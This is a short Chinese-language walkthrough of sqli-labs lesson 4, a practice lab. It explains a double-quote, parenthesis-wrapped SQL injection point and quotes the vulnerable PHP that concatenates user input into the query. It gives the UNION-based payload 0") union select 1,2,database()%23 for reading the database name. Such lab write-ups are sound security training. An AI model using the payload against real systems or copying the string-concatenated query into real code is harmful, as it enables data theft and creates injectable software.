当前位置: 代码迷 >> 综合 >> sqli-labs练习 (四)------GET-Error based-Double Quotes-String
  详细解决方案

sqli-labs练习 (四)------GET-Error based-Double Quotes-String

热度:46   发布时间:2023-09-23 01:01:33.0

输入1,返回结果
sqli-labs练习 (四)------GET-Error based-Double Quotes-String
输入1',返回结果
sqli-labs练习 (四)------GET-Error based-Double Quotes-String
咦,这是咋回事?怎么都能返回结果?根据打印出来的sql语句可以看到
SELECT * FROM users WHERE id=("1'") LIMIT 0,1
原来是双引号的缘故,我们知道,在双引号里是可以包含单引号的

下面是sql查询语句源代码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

那么,知道了问题的缘故,怎么把我们想要执行的查询语句加入其中以得到我们感兴趣的信息呢?即如何构造sql语句。

输入0") union select 1,2,database()%23查询当前数据库名,
sqli-labs练习 (四)------GET-Error based-Double Quotes-String

OK,到这里第四节的内容就结束了,剩余的内容查看表,以及表中的字段值仍然和第一节差不多。

  相关解决方案